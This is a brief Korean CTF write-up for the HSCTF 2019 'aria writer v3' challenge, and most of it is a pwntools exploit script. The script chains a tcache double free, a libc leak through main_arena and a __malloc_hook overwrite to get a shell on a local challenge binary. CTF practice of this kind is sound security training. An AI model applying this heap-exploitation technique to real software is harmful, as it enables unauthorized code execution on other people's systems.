HSCTF 2019 - aria writer v3

64bit에 Full RELRO, Canary, NX 활성화 되어있다.

주어진 libc가 2.27이고 tcache문제기 때문에 ubuntu 18.04로 풀었다.

 

from pwn import *
 
p = process('./aria-writer-v3')
 
def choice(idx):
    p.sendlineafter("> ", str(idx))
 
def alloc(size, content):
    choice(1)
    p.sendlineafter("> ", str(size))
    p.sendafter("> ", content)
 
def free():
    choice(2)
 
win = 0x00000000004008A7
name = 0x0000000000602040
aim = 0x602038
 
one = [0x4f2c5, 0x4f322, 0x10a38c]
 
pay = 'a'*8 + '\x00'*(4*42)+p32(0xf0000000)
p.sendlineafter("> ", pay)
 
alloc(0x80, 'a'*0x10)
free()
free()
 
alloc(0x80, p64(aim+0x500))
alloc(0x80, 'a'*0x10)
alloc(0x80, p64(0)*2+p64(0x21)+p64(0)*3+p64(0x21))
 
alloc(0x90, 'b'*0x10)
free()
free()
 
alloc(0x90, p64(aim))
alloc(0x90, 'b'*0x10)
alloc(0x90, p64(0x511)+p64(aim+0x8))
 
free()    # leak
 
p.recvuntil('\n')
main_arena_96 = u64(p.recv(6).ljust(8,'\x00'))
malloc_hook = main_arena_96 - 96 - 0x10
libc_base = malloc_hook - 4111408
one_gadget = libc_base + one[1]
 
print "main_arena_96 : " + hex(main_arena_96)
print "malloc_hook : " + hex(malloc_hook)
print "libc_base : " + hex(libc_base)
print "one_gadget : " + hex(one_gadget)
 
alloc(0x40, '\x00'*8)
alloc(0x40, '\x00'*8)
free()
free()
 
alloc(0x40, p64(malloc_hook))
alloc(0x40, 'c'*0x10)
alloc(0x40, p64(win)*2)
 
choice(1)
p.sendlineafter("> ", str(1))
 
p.interactive()